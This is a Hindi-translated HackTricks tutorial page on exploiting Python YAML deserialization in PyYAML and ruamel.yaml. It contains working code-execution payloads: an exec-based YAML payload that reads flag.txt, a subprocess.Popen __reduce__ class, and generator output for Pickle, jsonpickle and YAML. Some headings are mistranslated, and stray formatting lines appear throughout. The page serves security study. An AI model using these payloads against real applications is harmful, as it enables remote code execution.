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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
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# Yaml **डिसीरियलाइज़ेशन**
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**Yaml** पायथन पुस्तकालयों के द्वारा केवल कच्चे डेटा को ही नहीं, बल्कि पायथन ऑब्जेक्ट्स को भी **सीरीयलाइज़ करने** के लिए सक्षम है:
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```
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print(yaml.dump(str("lol")))
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lol
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|
...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
|
|
- o
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|
- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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|
- 1
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```
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जांचें कि **tuple** एक रॉ डेटा प्रकार नहीं है और इसलिए इसे **सीरीयलाइज़** किया गया था। और यही हुआ **range** के साथ भी (बिल्टिन्स से लिया गया)।
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 (1).png>)
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**safe\_load()** या **safe\_load\_all()** SafeLoader का उपयोग करता है और **क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करता**। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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|
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
|
|
print(yaml.load(data, Loader=Loader)) #range(1, 10)
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|
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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|
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.unsafe_load(data)) #range(1, 10)
|
|
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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|
#deserialize the python object
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```
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पिछला कोड **unsafe\_load** का उपयोग करता है ताकि सीरीयलाइज़ किए गए पायथन क्लास को लोड कर सके। यह इसलिए है क्योंकि **संस्करण >= 5.1** में, यह लोड() या Loader=SafeLoader में निर्दिष्ट नहीं करता है, इसलिए किसी भी सीरीयलाइज़ किए गए पायथन क्लास या क्लास एट्रिब्यूट को डिसीरियलाइज़ करने की अनुमति नहीं देता है।
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## मूल अभिक्रिया
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एक उदाहरण जिसमें **नींद को निष्पादित करने** के लिए कैसे उपयोग करें:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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|
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
|
|
print(yaml.load(data, Loader=Loader)) #Executed
|
|
print(yaml.load_all(data))
|
|
print(yaml.load_all(data, Loader=Loader))
|
|
print(yaml.load_all(data, Loader=UnsafeLoader))
|
|
print(yaml.load_all(data, Loader=FullLoader))
|
|
print(yaml.unsafe_load(data)) #Executed
|
|
print(yaml.full_load_all(data))
|
|
print(yaml.unsafe_load_all(data))
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|
```
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## लोडर के बिना संकटपूर्ण .load("\<सामग्री>")
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पुराने संस्करणों में pyyaml खुलवाने के समय आप लोड करते समय लोडर की विशेष निर्दिष्टि नहीं करते थे तो वह असुरक्षित थे: `yaml.load(data)`
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आप यहां [**संकट का विवरण यहां पा सकते हैं**](https://hackmd.io/@defund/HJZajCVlP)**.** उस पृष्ठ में प्रस्तावित **शोषण** है:
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```yaml
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!!python/object/new:str
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|
state: !!python/tuple
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|
- 'print(getattr(open("flag\x2etxt"), "read")())'
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|
- !!python/object/new:Warning
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|
state:
|
|
update: !!python/name:exec
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```
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या आप इस **एक-लाइनर का उपयोग कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है**:
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```yaml
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|
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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```
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नोट करें कि **हाल के संस्करणों में** आप **अब `.load()` को बिना `Loader` के नहीं कह सकते** हैं और **`FullLoader`** इस हमले के प्रति **अब सुरक्षित है**।
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# RCE
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कृपया ध्यान दें कि पेलोड निर्माण **किसी भी पायथन YAML मॉड्यूल (PyYAML या ruamel.yaml), उसी तरीके से** किया जा सकता है। एक ही पेलोड YAML मॉड्यूल या PyYAML या ruamel.yaml पर आधारित किसी भी मॉड्यूल को शोषित कर सकता है।
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|
```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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|
#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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|
print(yaml.unsafe_load(deserialized_data))
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|
```
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## यात्रा उत्पन्न करने के लिए टूल
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टूल [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) का उपयोग करके पायथन डीसीरियलाइज़ेशन पेलोड उत्पन्न किए जा सकते हैं ताकि **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग किया जा सके:
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|
```bash
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python3 peas.py
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|
Enter RCE command :cat /root/flag.txt
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|
Enter operating system of target [linux/windows] . Default is linux :linux
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|
Want to base64 encode payload ? [N/y] :
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|
Enter File location and name to save :/tmp/example
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|
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
|
|
Done Saving file !!!!
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|
|
|
cat /tmp/example_jspick
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|
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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|
|
|
cat /tmp/example_pick | base64 -w0
|
|
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
|
|
|
|
cat /tmp/example_yaml
|
|
!!python/object/apply:subprocess.Popen
|
|
- !!python/tuple
|
|
- cat
|
|
- /root/flag.txt
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|
```
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# संदर्भ
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इस तकनीक के बारे में अधिक जानकारी के लिए पढ़ें: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
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